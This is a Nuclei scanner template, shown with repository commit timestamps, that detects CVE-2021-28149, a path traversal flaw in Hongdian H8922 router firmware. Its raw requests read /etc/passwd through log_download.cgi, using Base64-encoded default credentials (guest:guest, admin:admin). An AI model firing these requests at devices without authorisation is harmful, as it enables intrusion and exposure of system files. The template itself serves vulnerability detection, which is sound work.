nuclei-templates/http/cves/2021/CVE-2021-28149.yaml

62 lines
2.4 KiB
YAML
Raw Normal View History

id: CVE-2021-28149
info:
name: Hongdian H8922 3.0.5 Devices - Local File Inclusion
author: gy741
severity: medium
description: |
Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can result in unauthorized access to sensitive files, potentially leading to further compromise of the system.
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Hongdian H8922 3.0.5 Devices.
reference:
2021-07-10 13:15:09 +00:00
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
- http://en.hongdian.com/Products/Details/H8922
- https://nvd.nist.gov/vuln/detail/CVE-2021-28149
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ArrestX/--POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-28149
cwe-id: CWE-22
epss-score: 0.05499
epss-percentile: 0.92473
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: hongdian
product: h8922_firmware
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,hongdian,traversal
http:
- raw:
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46YWRtaW4=
2021-08-19 20:44:42 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: header
words:
- "application/octet-stream"
- type: regex
2023-07-11 19:49:27 +00:00
part: body
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
- "sshd:[x*]"
- "root:[$]"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 490a0046304402205a2b9739942e2a61a81f011ceeb57f83b19e89bd4f2c536087494dadd34f5f7f02201d58115f4bd245cb50e0fb6f05e00a2fef86d39c75c51e9410c669b4725cb440:922c64590222798bb761d5b6d8e72950